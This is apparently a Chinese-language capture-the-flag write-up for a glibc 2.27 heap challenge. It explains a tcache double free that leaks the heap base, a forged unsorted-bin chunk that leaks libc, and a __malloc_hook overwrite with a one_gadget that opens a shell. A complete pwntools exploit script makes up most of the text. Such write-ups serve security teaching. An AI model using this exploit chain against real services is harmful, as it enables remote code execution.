堆,2.27,但是没有edit和show。。
add函数会在最后输出chunk里的内容,但是只能创建0x80的chunk。

有uaf但是只能用三次

2.27还没有key限制double free,可以打hook,三次的free正常来说有tcache的存在不可能泄露libc地址,只能打tcache结构体,但是0x80的chunk还处于fastbins,只能伪造堆块free后进入unsorted bins切割后add泄露libc地址
先double free泄露heap基址
add(b"123",b"456")
add(b"123",b"456")
add(b"123",b"456")
free(0)
free(0)
add(b"\x60",b"\x60")
p.recvline()
heap_base=u64(p.recv(6).ljust(8,b"\x00"))-0x260
print(hex(heap_base))
申请因为劫持heap_base+0x10写不到tcache_entry 0x80的位置,只能劫持heap_base+0x20伪造一个0x231的chunk头,在tcache_entry 0x80的位置写下heap_base+0x30再次申请free即可得到libc地址,注意要将tcache_entry 0x80置零才能切割unsorted bins
add(p64(heap_base+0x20),p64(heap_base+0x20))
add(p64(heap_base+0x20),p64(heap_base+0x20))
add(b"\x00"*8,p64(0x231)+b"\x07"*0x20+p64(heap_base+0x30)*8)
add(b"\x07"*0x8,b"\x07"*0x18+p64(0)*8)
free(7)

因为在add中分两段写入,第一次写入0x8字节,我们覆盖libc地址低字节即可,第二次输入tcache_entry 0x80为heap_base+0x80,即可申请heap_base+0x80
add(b"a",b"\x07"*0x18+p64(heap_base+0x80)*8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3ebe61
print(hex(libc_base))
申请一次到heap_base+0x80,写入__malloc_hook,第二次申请得到__malloc_hook,写入ogg,得到shell
one=[0x4f2c5,0x4f322,0x10a38c]
add(p64(libc_base+libc.sym["__malloc_hook"]),b"a")
add(p64(libc_base+one[1]),b"a")

完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./PWN5"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
# gdb.attach(p,"b malloc")
else:
p=remote("nc1.ctfplus.cn",41318)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
ld=ELF("./ld.so")
elf=ELF(filename)
context.arch=elf.arch
select=b">> "
def add(title,content):
p.sendlineafter(select, b"1")
#p.sendlineafter(b"Index:", str(index).encode())
#p.sendlineafter(b"How long is your note?", str(size).encode())
p.sendafter(b"title:",title)
p.sendafter(b"content:", content)
def edit(index,content):
p.sendlineafter(select, b"4")
p.sendlineafter(b"Index: ", str(index).encode())
p.sendafter(b"message:",content)
def show(index):
p.sendlineafter(select, b"2")
p.sendlineafter(b"Index: ", str(index).encode())
def free(index):
p.sendlineafter(select, b"2")
p.sendlineafter(b"index:", str(index).encode())
add(b"123",b"456")
add(b"123",b"456")
add(b"123",b"456")
free(0)
free(0)
add(b"\x60",b"\x60")
p.recvline()
heap_base=u64(p.recv(6).ljust(8,b"\x00"))-0x260
print(hex(heap_base))
add(p64(heap_base+0x20),p64(heap_base+0x20))
add(p64(heap_base+0x20),p64(heap_base+0x20))
add(b"\x00"*8,p64(0x231)+b"\x07"*0x20+p64(heap_base+0x30)*8)
add(b"\x07"*0x8,b"\x07"*0x18+p64(0)*8)
free(7)
add(b"a",b"\x07"*0x18+p64(heap_base+0x80)*8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3ebe61
print(hex(libc_base))
one=[0x4f2c5,0x4f322,0x10a38c]
add(p64(libc_base+libc.sym["__malloc_hook"]),b"a")
add(p64(libc_base+one[1]),b"a")
p.sendlineafter(select, b"1")
gdb.attach(proc.pidof(p)[0])
p.interactive()
Comments NOTHING